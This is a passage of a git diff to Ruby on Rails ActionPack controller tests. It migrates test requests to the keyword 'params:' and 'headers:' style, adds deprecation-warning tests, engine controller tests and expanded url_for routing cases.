       {'controller' => 'test_case_test/test', 'action' => 'test_params',
@@ -581,7 +581,7 @@ XML
   end
 
   def test_params_passing_with_fixnums_when_not_html_request
-    get :test_params, :format => 'json', :count => 999
+    get :test_params, params: { format: 'json', count: 999 }
     parsed_params = eval(@response.body)
     assert_equal(
       {'controller' => 'test_case_test/test', 'action' => 'test_params',
@@ -591,7 +591,17 @@ XML
   end
 
   def test_params_passing_path_parameter_is_string_when_not_html_request
-    get :test_params, :format => 'json', :id => 1
+    get :test_params, params: { format: 'json', id: 1 }
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {'controller' => 'test_case_test/test', 'action' => 'test_params',
+       'format' => 'json', 'id' => '1' },
+      parsed_params
+    )
+  end
+
+  def test_deprecated_params_passing_path_parameter_is_string_when_not_html_request
+    assert_deprecated { get :test_params, format: 'json', id: 1 }
     parsed_params = eval(@response.body)
     assert_equal(
       {'controller' => 'test_case_test/test', 'action' => 'test_params',
@@ -602,7 +612,9 @@ XML
 
   def test_params_passing_with_frozen_values
     assert_nothing_raised do
-      get :test_params, :frozen => 'icy'.freeze, :frozens => ['icy'.freeze].freeze, :deepfreeze => { :frozen => 'icy'.freeze }.freeze
+      get :test_params, params: {
+        frozen: 'icy'.freeze, frozens: ['icy'.freeze].freeze, deepfreeze: { frozen: 'icy'.freeze }.freeze
+      }
     end
     parsed_params = eval(@response.body)
     assert_equal(
@@ -613,8 +625,8 @@ XML
   end
 
   def test_params_passing_doesnt_modify_in_place
-    page = {:name => "Page name", :month => 4, :year => 2004, :day => 6}
-    get :test_params, :page => page
+    page = { name: "Page name", month: 4, year: 2004, day: 6 }
+    get :test_params, params: { page: page }
     assert_equal 2004, page[:year]
   end
 
@@ -622,7 +634,7 @@ XML
     @request.headers['Referer'] = "http://nohost.com/home"
     @request.headers['Content-Type'] = "application/rss+xml"
     get :test_headers
-    parsed_env = JSON.parse(@response.body)
+    parsed_env = ActiveSupport::JSON.decode(@response.body)
     assert_equal "http://nohost.com/home", parsed_env["HTTP_REFERER"]
     assert_equal "application/rss+xml", parsed_env["CONTENT_TYPE"]
   end
@@ -631,35 +643,42 @@ XML
     @request.headers['HTTP_REFERER'] = "http://example.com/about"
     @request.headers['CONTENT_TYPE'] = "application/json"
     get :test_headers
-    parsed_env = JSON.parse(@response.body)
+    parsed_env = ActiveSupport::JSON.decode(@response.body)
     assert_equal "http://example.com/about", parsed_env["HTTP_REFERER"]
     assert_equal "application/json", parsed_env["CONTENT_TYPE"]
   end
 
   def test_id_converted_to_string
-    get :test_params, :id => 20, :foo => Object.new
-    assert_kind_of String, @request.path_parameters['id']
+    get :test_params, params: {
+      id: 20, foo: Object.new
+    }
+    assert_kind_of String, @request.path_parameters[:id]
+  end
+
+  def test_deprecared_id_converted_to_string
+    assert_deprecated { get :test_params, id: 20, foo: Object.new}
+    assert_kind_of String, @request.path_parameters[:id]
   end
 
   def test_array_path_parameter_handled_properly
     with_routing do |set|
       set.draw do
-        get 'file/*path', :to => 'test_case_test/test#test_params'
+        get 'file/*path', to: 'test_case_test/test#test_params'
         get ':controller/:action'
       end
 
-      get :test_params, :path => ['hello', 'world']
-      assert_equal ['hello', 'world'], @request.path_parameters['path']
-      assert_equal 'hello/world', @request.path_parameters['path'].to_param
+      get :test_params, params: { path: ['hello', 'world'] }
+      assert_equal ['hello', 'world'], @request.path_parameters[:path]
+      assert_equal 'hello/world', @request.path_parameters[:path].to_param
     end
   end
 
   def test_assert_realistic_path_parameters
-    get :test_params, :id => 20, :foo => Object.new
+    get :test_params, params: { id: 20, foo: Object.new }
 
-    # All elements of path_parameters should use string keys
-    @request.path_parameters.keys.each do |key|
-      assert_kind_of String, key
+    # All elements of path_parameters should use Symbol keys
+    @request.path_parameters.each_key do |key|
+      assert_kind_of Symbol, key
     end
   end
 
@@ -687,8 +706,39 @@ XML
   end
 
   def test_header_properly_reset_after_remote_http_request
-    xhr :get, :test_params
+    get :test_params, xhr: true
     assert_nil @request.env['HTTP_X_REQUESTED_WITH']
+    assert_nil @request.env['HTTP_ACCEPT']
+  end
+
+  def test_deprecated_xhr_with_params
+    assert_deprecated { xhr :get, :test_params, params: { id: 1 } }
+
+    assert_equal(%({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}), @response.body)
+  end
+
+  def test_xhr_with_params
+    get :test_params, params: { id: 1 }, xhr: true
+
+    assert_equal(%({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}), @response.body)
+  end
+
+  def test_xhr_with_session
+    get :set_session, xhr: true
+
+    assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
+    assert_equal 'A wonder', session[:string], "Test session hash should allow indifferent access"
+    assert_equal 'it works', session['symbol'], "Test session hash should allow indifferent access"
+    assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access"
+  end
+
+  def test_deprecated_xhr_with_session
+    assert_deprecated { xhr :get, :set_session }
+
+    assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
+    assert_equal 'A wonder', session[:string], "Test session hash should allow indifferent access"
+    assert_equal 'it works', session['symbol'], "Test session hash should allow indifferent access"
+    assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access"
   end
 
   def test_header_properly_reset_after_get_request
@@ -697,20 +747,36 @@ XML
     assert_nil @request.instance_variable_get("@request_method")
   end
 
-  def test_params_reset_after_post_request
-    post :no_op, :foo => "bar"
+  def test_deprecated_params_reset_between_post_requests
+    assert_deprecated { post :no_op, foo: "bar" }
     assert_equal "bar", @request.params[:foo]
-    @request.recycle!
+
     post :no_op
     assert @request.params[:foo].blank?
   end
 
-  def test_symbolized_path_params_reset_after_request
-    get :test_params, :id => "foo"
-    assert_equal "foo", @request.symbolized_path_parameters[:id]
-    @request.recycle!
+  def test_params_reset_between_post_requests
+    post :no_op, params: { foo: "bar" }
+    assert_equal "bar", @request.params[:foo]
+
+    post :no_op
+    assert @request.params[:foo].blank?
+  end
+
+  def test_filtered_parameters_reset_between_requests
+    get :no_op, params: { foo: "bar" }
+    assert_equal "bar", @request.filtered_parameters[:foo]
+
+    get :no_op, params: { foo: "baz" }
+    assert_equal "baz", @request.filtered_parameters[:foo]
+  end
+
+  def test_path_params_reset_between_request
+    get :test_params, params: { id: "foo" }
+    assert_equal "foo", @request.path_parameters[:id]
+
     get :test_params
-    assert_nil @request.symbolized_path_parameters[:id]
+    assert_nil @request.path_parameters[:id]
   end
 
   def test_request_protocol_is_reset_after_request
@@ -727,19 +793,38 @@ XML
   end
 
   def test_request_format
-    get :test_format, :format => 'html'
+    get :test_format, params: { format: 'html' }
     assert_equal 'text/html', @response.body
 
-    get :test_format, :format => 'json'
+    get :test_format, params: { format: 'json' }
     assert_equal 'application/json', @response.body
 
-    get :test_format, :format => 'xml'
+    get :test_format, params: { format: 'xml' }
     assert_equal 'application/xml', @response.body
 
     get :test_format
     assert_equal 'text/html', @response.body
   end
 
+  def test_request_format_kwarg
+    get :test_format, format: 'html'
+    assert_equal 'text/html', @response.body
+
+    get :test_format, format: 'json'
+    assert_equal 'application/json', @response.body
+
+    get :test_format, format: 'xml'
+    assert_equal 'application/xml', @response.body
+
+    get :test_format
+    assert_equal 'text/html', @response.body
+  end
+
+  def test_request_format_kwarg_overrides_params
+    get :test_format, format: 'json', params: { format: 'html' }
+    assert_equal 'application/json', @response.body
+  end
+
   def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set
     cookies['foo'] = 'bar'
     get :no_op
@@ -824,7 +909,10 @@ XML
   end
 
   def test_fixture_file_upload
-    post :test_file_upload, :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
+    post :test_file_upload,
+      params: {
+        file: fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
+      }
     assert_equal '159528', @response.body
   end
 
@@ -840,10 +928,21 @@ XML
     assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
   end
 
+  def test_deprecated_action_dispatch_uploaded_file_upload
+    filename = 'mona_lisa.jpg'
+    path = "#{FILES_DIR}/#{filename}"
+    assert_deprecated {
+      post :test_file_upload, file: ActionDispatch::Http::UploadedFile.new(filename: path, type: "image/jpg", tempfile: File.open(path))
+    }
+    assert_equal '159528', @response.body
+  end
+
   def test_action_dispatch_uploaded_file_upload
     filename = 'mona_lisa.jpg'
     path = "#{FILES_DIR}/#{filename}"
-    post :test_file_upload, :file => ActionDispatch::Http::UploadedFile.new(:filename => path, :type => "image/jpg", :tempfile => File.open(path))
+    post :test_file_upload, params: {
+      file: ActionDispatch::Http::UploadedFile.new(filename: path, type: "image/jpg", tempfile: File.open(path))
+    }
     assert_equal '159528', @response.body
   end
 
@@ -866,6 +965,44 @@ XML
   end
 end
 
+module EngineControllerTests
+  class Engine < ::Rails::Engine
+    isolate_namespace EngineControllerTests
+
+    routes.draw do
+      get '/' => 'bar#index'
+    end
+  end
+
+  class BarController < ActionController::Base
+    def index
+      render text: 'bar'
+    end
+  end
+
+  class BarControllerTest < ActionController::TestCase
+    tests BarController
+
+    def test_engine_controller_route
+      get :index
+      assert_equal @response.body, 'bar'
+    end
+  end
+
+  class BarControllerTestWithExplicitRouteSet < ActionController::TestCase
+    tests BarController
+
+    def setup
+      @routes = Engine.routes
+    end
+
+    def test_engine_controller_route
+      get :index
+      assert_equal @response.body, 'bar'
+    end
+  end
+end
+
 class InferringClassNameTest < ActionController::TestCase
   def test_determine_controller_class
     assert_equal ContentController, determine_class("ContentControllerTest")
@@ -916,7 +1053,7 @@ class NamedRoutesControllerTest < ActionController::TestCase
     with_routing do |set|
       set.draw { resources :contents }
       assert_equal 'http://test.host/contents/new', new_content_url
-      assert_equal 'http://test.host/contents/1', content_url(:id => 1)
+      assert_equal 'http://test.host/contents/1', content_url(id: 1)
     end
   end
 end
@@ -925,7 +1062,7 @@ class AnonymousControllerTest < ActionController::TestCase
   def setup
     @controller = Class.new(ActionController::Base) do
       def index
-        render :text => params[:controller]
+        render text: params[:controller]
       end
     end.new
 
@@ -946,29 +1083,29 @@ class RoutingDefaultsTest < ActionController::TestCase
   def setup
     @controller = Class.new(ActionController::Base) do
       def post
-        render :text => request.fullpath
+        render text: request.fullpath
       end
 
       def project
-        render :text => request.fullpath
+        render text: request.fullpath
       end
     end.new
 
     @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
       r.draw do
-        get '/posts/:id', :to => 'anonymous#post', :bucket_type => 'post'
-        get '/projects/:id', :to => 'anonymous#project', :defaults => { :bucket_type => 'project' }
+        get '/posts/:id', to: 'anonymous#post', bucket_type: 'post'
+        get '/projects/:id', to: 'anonymous#project', defaults: { bucket_type: 'project' }
       end
     end
   end
 
   def test_route_option_can_be_passed_via_process
-    get :post, :id => 1, :bucket_type => 'post'
+    get :post, params: { id: 1, bucket_type: 'post'}
     assert_equal '/posts/1', @response.body
   end
 
   def test_route_default_is_not_required_for_building_request_uri
-    get :project, :id => 2
+    get :project, params: { id: 2 }
     assert_equal '/projects/2', @response.body
   end
 end
diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb
index 6c2311e7a5..0e4c2b7c32 100644
--- a/actionpack/test/controller/url_for_integration_test.rb
+++ b/actionpack/test/controller/url_for_integration_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 require 'controller/fake_controllers'
 require 'active_support/core_ext/object/with_options'
@@ -6,6 +5,7 @@ require 'active_support/core_ext/object/with_options'
 module ActionPack
   class URLForIntegrationTest < ActiveSupport::TestCase
     include RoutingTestHelpers
+    include ActionDispatch::RoutingVerbs
 
     Model = Struct.new(:to_param)
 
@@ -61,8 +61,11 @@ module ActionPack
       root :to => "news#index"
     }
 
+    attr_reader :routes
+    attr_accessor :controller
+
     def setup
-      @routes = ActionDispatch::Routing::RouteSet.new
+      @routes = make_set false
       @routes.draw(&Mapping)
     end
 
@@ -70,9 +73,9 @@ module ActionPack
       ['/admin/users',[ { :use_route => 'admin_users' }]],
       ['/admin/users',[ { :controller => 'admin/users' }]],
       ['/admin/users',[ { :controller => 'admin/users', :action => 'index' }]],
-      ['/admin/users',[ { :action => 'index' }, { :controller => 'admin/users' }]],
-      ['/admin/users',[ { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' }]],
-      ['/people',[      { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' }]],
+      ['/admin/users',[ { :action => 'index' }, { :controller => 'admin/users', :action => 'index' }, '/admin/users']],
+      ['/admin/users',[ { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts', :action => 'show', :id => '1' }, '/admin/accounts/show/1']],
+      ['/people',[      { :controller => '/people', :action => 'index' }, {:controller=>"admin/accounts", :action=>"foo", :id=>"bar"}, '/admin/accounts/foo/bar']],
 
       ['/admin/posts',[     { :controller => 'admin/posts' }]],
       ['/admin/posts/new',[ { :controller => 'admin/posts', :action => 'new' }]],
@@ -86,11 +89,11 @@ module ActionPack
       ['/archive?year=january',[ { :controller => 'archive', :action => 'index', :year => 'january' }]],
 
       ['/people',[ { :controller => 'people', :action => 'index' }]],
-      ['/people',[ { :action => 'index' }, { :controller => 'people' }]],
-      ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
-      ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
-      ['/people',[ {}, { :controller => 'people', :action => 'index' }]],
-      ['/people/1',[   { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+      ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'index' }, '/people']],
+      ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+      ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+      ['/people',[ {}, { :controller => 'people', :action => 'index' }, '/people']],
+      ['/people/1',[   { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
       ['/people/new',[ { :use_route => 'new_person' }]],
       ['/people/new',[ { :controller => 'people', :action => 'new' }]],
       ['/people/1',[   { :use_route => 'person', :id => '1' }]],
@@ -98,11 +101,11 @@ module ActionPack
       ['/people/1.xml',[ { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' }]],
       ['/people/1',[ { :controller => 'people', :action => 'show', :id => 1 }]],
       ['/people/1',[ { :controller => 'people', :action => 'show', :id => Model.new('1') }]],
-      ['/people/1',[ { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }]],
-      ['/people/1',[ { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }]],
-      ['/people',[   { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
-      ['/people/1',[ {}, { :controller => 'people', :action => 'show', :id => '1' }]],
-      ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }]],
+      ['/people/1',[ { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }, '/people']],
+      ['/people/1',[ { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+      ['/people',[   { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+      ['/people/1',[ {}, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+      ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }, '/people/index/1']],
       ['/people/1/edit',[     { :controller => 'people', :action => 'edit', :id => '1' }]],
       ['/people/1/edit.xml',[ { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' }]],
       ['/people/1/edit',[     { :use_route => 'edit_person', :id => '1' }]],
@@ -118,16 +121,15 @@ module ActionPack
 
       ['/project',[    { :controller => 'project', :action => 'index' }]],
       ['/projects/1',[ { :controller => 'project', :action => 'index', :project_id => '1' }]],
-      ['/projects/1',[ { :controller => 'project', :action => 'index'}, {:project_id => '1' }]],
+      ['/projects/1',[ { :controller => 'project', :action => 'index'}, {:project_id => '1', :controller => 'project', :action => 'index' }, '/projects/1']],
       ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' }]],
-      ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' }]],
+      ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index' }, { :controller => 'project', :action => 'index', :project_id => '1' }, '/projects/1']],
 
       ['/clients',[ { :controller => 'projects', :action => 'index' }]],
       ['/clients?project_id=1',[ { :controller => 'projects', :action => 'index', :project_id => '1' }]],
-      ['/clients',[ { :controller => 'projects', :action => 'index' }, { :project_id => '1' }]],
-      ['/clients',[ { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' }]],
+      ['/clients',[ { :controller => 'projects', :action => 'index' }, { :project_id => '1', :controller => 'project', :action => 'index' }, '/projects/1']],
 
-      ['/comment/20',[   { :id => 20 }, { :controller => 'comments', :action => 'show' }]],
+      ['/comment/20',[   { :id => 20 }, { :controller => 'comments', :action => 'show' }, '/comments/show']],
       ['/comment/20',[   { :controller => 'comments', :id => 20, :action => 'show' }]],
       ['/comments/boo',[ { :controller => 'comments', :action => 'boo' }]],
 
@@ -144,24 +146,21 @@ module ActionPack
       ['/notes',[         { :page_id => nil, :controller => 'notes' }]],
       ['/notes',[         { :controller => 'notes' }]],
       ['/notes/print',[   { :controller => 'notes', :action => 'print' }]],
-      ['/notes/print',[   {}, { :controller => 'notes', :action => 'print' }]],
-
-      ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]],
-      ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' }]],
-      ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]],
-      ['/notes/index/1',[ { :action => 'index' }, { :controller => 'notes', :id => '1' }]],
-      ['/notes/index/1',[ {}, { :controller => 'notes', :id => '1' }]],
-      ['/notes/show/1',[  {}, { :controller => 'notes', :action => 'show', :id => '1' }]],
-      ['/notes/index/1',[ { :controller => 'notes', :id => '1' }, { :foo => 'bar' }]],
-      ['/posts',[      { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }]],
-      ['/notes/list',[ { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }]],
+      ['/notes/print',[   {}, { :controller => 'notes', :action => 'print' }, '/notes/print']],
+
+      ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :action => 'index', :id => '1' }, '/notes/index/1']],
+      ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1', :action => 'index' }, '/notes/index/1']],
+      ['/notes/index/1',[ { :action => 'index' }, { :controller => 'notes', :id => '1', :action => 'index' }, '/notes/index/1']],
+      ['/notes/index/1',[ {}, { :controller => 'notes', :id => '1', :action => 'index' }, '/notes/index/1']],
+      ['/notes/show/1',[  {}, { :controller => 'notes', :action => 'show', :id => '1' }, '/notes/show/1']],
+      ['/posts',[      { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }, '/notes/show/1']],
+      ['/notes/list',[ { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }, '/notes/show/1']],
 
       ['/posts/ping',[    { :controller => 'posts', :action => 'ping' }]],
       ['/posts/show/1',[  { :controller => 'posts', :action => 'show', :id => '1' }]],
       ['/posts',[         { :controller => 'posts' }]],
       ['/posts',[         { :controller => 'posts', :action => 'index' }]],
-      ['/posts',[         { :controller => 'posts' }, { :controller => 'posts', :action => 'index' }]],
-      ['/posts/create',[  { :action => 'create' }, { :controller => 'posts' }]],
+      ['/posts/create',[  { :action => 'create' }, {:day=>nil, :month=>nil, :controller=>"posts", :action=>"show_date"}, '/blog']],
       ['/posts?foo=bar',[ { :controller => 'posts', :foo => 'bar' }]],
       ['/posts?foo%5B%5D=bar&foo%5B%5D=baz', [{ :controller => 'posts', :foo => ['bar', 'baz'] }]],
       ['/posts?page=2',  [{ :controller => 'posts', :page => 2 }]],
@@ -169,9 +168,20 @@ module ActionPack
 
       ['/news.rss', [{ :controller => 'news', :action => 'index', :format => 'rss' }]],
     ].each_with_index do |(url, params), i|
-    define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
-      assert_equal url, url_for(@routes, *params), params.inspect
-    end
+      if params.length > 1
+        hash, path_params, route = *params
+        hash[:only_path] = true
+
+        define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
+          get URI('http://test.host' + route.to_s)
+          assert_equal path_params, controller.request.path_parameters
+          assert_equal url, controller.url_for(hash), params.inspect
+        end
+      else
+        define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
+          assert_equal url, url_for(@routes, params.first), params.inspect
+        end
+      end
     end
   end
 end
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
index 088ad73f2f..0ffa2d2a03 100644
--- a/actionpack/test/controller/url_for_test.rb
+++ b/actionpack/test/controller/url_for_test.rb
@@ -11,6 +11,25 @@ module AbstractController
         W.default_url_options.clear
       end
 
+      def test_nested_optional
+        klass = Class.new {
+          include ActionDispatch::Routing::RouteSet.new.tap { |r|
+            r.draw {
+              get "/foo/(:bar/(:baz))/:zot", :as         => 'fun',
+                                             :controller => :articles,
+                                             :action     => :index
+            }
+          }.url_helpers
+          self.default_url_options[:host] = 'example.com'
+        }
+
+        path = klass.new.fun_path({:controller => :articles,
+                                   :baz        => "baz",
+                                   :zot        => "zot"})
+        # :bar key isn't provided
+        assert_equal '/foo/zot', path
+      end
+
       def add_host!
         W.default_url_options[:host] = 'www.basecamphq.com'
       end
@@ -35,6 +54,20 @@ module AbstractController
         )
       end
 
+      def test_nil_anchor
+        assert_equal(
+          '/c/a',
+          W.new.url_for(only_path: true, controller: 'c', action: 'a', anchor: nil)
+        )
+      end
+
+      def test_false_anchor
+        assert_equal(
+          '/c/a',
+          W.new.url_for(only_path: true, controller: 'c', action: 'a', anchor: false)
+        )
+      end
+
       def test_anchor_should_call_to_param
         assert_equal('/c/a#anchor',
           W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('anchor'))
@@ -75,7 +108,7 @@ module AbstractController
       end
 
       def test_subdomain_may_be_object
-        model = mock(:to_param => 'api')
+        model = Class.new { def self.to_param; 'api'; end }
         add_host!
         assert_equal('http://api.basecamphq.com/c/a/i',
           W.new.url_for(:subdomain => model, :controller => 'c', :action => 'a', :id => 'i')
@@ -169,6 +202,18 @@ module AbstractController
         )
       end
 
+      def test_without_protocol_and_with_port
+        add_host!
+        add_port!
+
+        assert_equal('//www.basecamphq.com:3000/c/a/i',
+          W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => '//')
+        )
+        assert_equal('//www.basecamphq.com:3000/c/a/i',
+          W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => false)
+        )
+      end
+
       def test_trailing_slash
         add_host!
         options = {:controller => 'foo', :trailing_slash => true, :action => 'bar', :id => '33'}
@@ -199,14 +244,11 @@ module AbstractController
       def test_trailing_slash_with_params
         url = W.new.url_for(:trailing_slash => true, :only_path => true, :controller => 'cont', :action => 'act', :p1 => 'cafe', :p2 => 'link')
         params = extract_params(url)
-        assert_equal params[0], { :p1 => 'cafe' }.to_query
-        assert_equal params[1], { :p2 => 'link' }.to_query
+        assert_equal({p1: 'cafe'}.to_query, params[0])
+        assert_equal({p2: 'link'}.to_query, params[1])
       end
 
       def test_relative_url_root_is_respected
-        # ROUTES TODO: Tests should not have to pass :relative_url_root directly. This
-        # should probably come from routes.
-
         add_host!
         assert_equal('https://www.basecamphq.com/subdir/c/a/i',
           W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https', :script_name => '/subdir')
@@ -248,6 +290,13 @@ module AbstractController
         end
       end
 
+      def test_using_nil_script_name_properly_concats_with_original_script_name
+        add_host!
+        assert_equal('https://www.basecamphq.com/subdir/c/a/i',
+          W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https', :script_name => nil, :original_script_name => '/subdir')
+        )
+      end
+
       def test_only_path
         with_routing do |set|
           set.draw do
@@ -258,12 +307,12 @@ module AbstractController
           # We need to create a new class in order to install the new named route.
           kls = Class.new { include set.url_helpers }
           controller = kls.new
-          assert controller.respond_to?(:home_url)
+          assert_respond_to controller, :home_url
           assert_equal '/brave/new/world',
-            controller.send(:url_for, :controller => 'brave', :action => 'new', :id => 'world', :only_path => true)
+            controller.url_for(:controller => 'brave', :action => 'new', :id => 'world', :only_path => true)
 
-          assert_equal("/home/sweet/home/alabama", controller.send(:home_url, :user => 'alabama', :host => 'unused', :only_path => true))
-          assert_equal("/home/sweet/home/alabama", controller.send(:home_path, 'alabama'))
+          assert_equal("/home/sweet/home/alabama", controller.home_path(:user => 'alabama', :host => 'unused'))
+          assert_equal("/home/sweet/home/alabama", controller.home_path('alabama'))
         end
       end
 
@@ -276,40 +325,40 @@ module AbstractController
       def test_two_parameters
         url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :p1 => 'X1', :p2 => 'Y2')
         params = extract_params(url)
-        assert_equal params[0], { :p1 => 'X1' }.to_query
-        assert_equal params[1], { :p2 => 'Y2' }.to_query
+        assert_equal({p1: 'X1'}.to_query, params[0])
+        assert_equal({p2: 'Y2'}.to_query, params[1])
       end
 
       def test_hash_parameter
         url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:name => 'Bob', :category => 'prof'})
         params = extract_params(url)
-        assert_equal params[0], { 'query[category]' => 'prof' }.to_query
-        assert_equal params[1], { 'query[name]'     => 'Bob'  }.to_query
+        assert_equal({'query[category]' => 'prof'}.to_query, params[0])
+        assert_equal({'query[name]' => 'Bob'}.to_query, params[1])
       end
 
       def test_array_parameter
         url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => ['Bob', 'prof'])
         params = extract_params(url)
-        assert_equal params[0], { 'query[]' => 'Bob'  }.to_query
-        assert_equal params[1], { 'query[]' => 'prof' }.to_query
+        assert_equal({'query[]' => 'Bob'}.to_query, params[0])
+        assert_equal({'query[]' => 'prof'}.to_query, params[1])
       end
 
       def test_hash_recursive_parameters
         url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:person => {:name => 'Bob', :position => 'prof'}, :hobby => 'piercing'})
         params = extract_params(url)
-        assert_equal params[0], { 'query[hobby]'            => 'piercing' }.to_query
-        assert_equal params[1], { 'query[person][name]'     => 'Bob'      }.to_query
-        assert_equal params[2], { 'query[person][position]' => 'prof'     }.to_query
+        assert_equal({'query[hobby]'            => 'piercing'}.to_query, params[0])
+        assert_equal({'query[person][name]'     => 'Bob'     }.to_query, params[1])
+        assert_equal({'query[person][position]' => 'prof'    }.to_query, params[2])
       end
 
       def test_hash_recursive_and_array_parameters
         url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :id => 101, :query => {:person => {:name => 'Bob', :position => ['prof', 'art director']}, :hobby => 'piercing'})
         assert_match(%r(^/c/a/101), url)
         params = extract_params(url)
-        assert_equal params[0], { 'query[hobby]'              => 'piercing'     }.to_query
-        assert_equal params[1], { 'query[person][name]'       => 'Bob'          }.to_query
-        assert_equal params[2], { 'query[person][position][]' => 'art director' }.to_query
-        assert_equal params[3], { 'query[person][position][]' => 'prof'         }.to_query
+        assert_equal({'query[hobby]'              => 'piercing'    }.to_query, params[0])
+        assert_equal({'query[person][name]'       => 'Bob'         }.to_query, params[1])
+        assert_equal({'query[person][position][]' => 'art director'}.to_query, params[2])
+        assert_equal({'query[person][position][]' => 'prof'        }.to_query, params[3])
       end
 
       def test_path_generation_for_symbol_parameter_keys
@@ -370,6 +419,24 @@ module AbstractController
         assert_equal("/c/a?show=false", W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :show => false))
       end
 
+      def test_url_generation_with_array_and_hash
+        with_routing do |set|
+          set.draw do
+            namespace :admin do
+              resources :posts
+            end
+          end
+
+          kls = Class.new { include set.url_helpers }
+          kls.default_url_options[:host] = 'www.basecamphq.com'
+
+          controller = kls.new
+          assert_equal("http://www.basecamphq.com/admin/posts/new?param=value",
+            controller.send(:url_for, [:new, :admin, :post, { param: 'value' }])
+          )
+        end
+      end
+
       private
         def extract_params(url)
           url.split('?', 2).last.split('&').sort
diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb
index b2dfd96606..21fa670bb6 100644
--- a/actionpack/test/controller/webservice_test.rb
+++ b/actionpack/test/controller/webservice_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'active_support/json/decoding'
 
 class WebServiceTest < ActionDispatch::IntegrationTest
   class TestController < ActionController::Base
@@ -34,7 +35,9 @@ class WebServiceTest < ActionDispatch::IntegrationTest
 
   def test_post_json
     with_test_route_set do
-      post "/", '{"entry":{"summary":"content..."}}', 'CONTENT_TYPE' => 'application/json'
+      post "/",
+        params: '{"entry":{"summary":"content..."}}',
+        headers: { 'CONTENT_TYPE' => 'application/json' }
 
       assert_equal 'entry', @controller.response.body
       assert @controller.params.has_key?(:entry)
@@ -44,7 +47,9 @@ class WebServiceTest < ActionDispatch::IntegrationTest
 
   def test_put_json
     with_test_route_set do
-      put "/", '{"entry":{"summary":"content..."}}', 'CONTENT_TYPE' => 'application/json'
+      put "/",
+        params: '{"entry":{"summary":"content..."}}',
+        headers: { 'CONTENT_TYPE' => 'application/json' }
 
       assert_equal 'entry', @controller.response.body
       assert @controller.params.has_key?(:entry)
@@ -54,9 +59,10 @@ class WebServiceTest < ActionDispatch::IntegrationTest
 
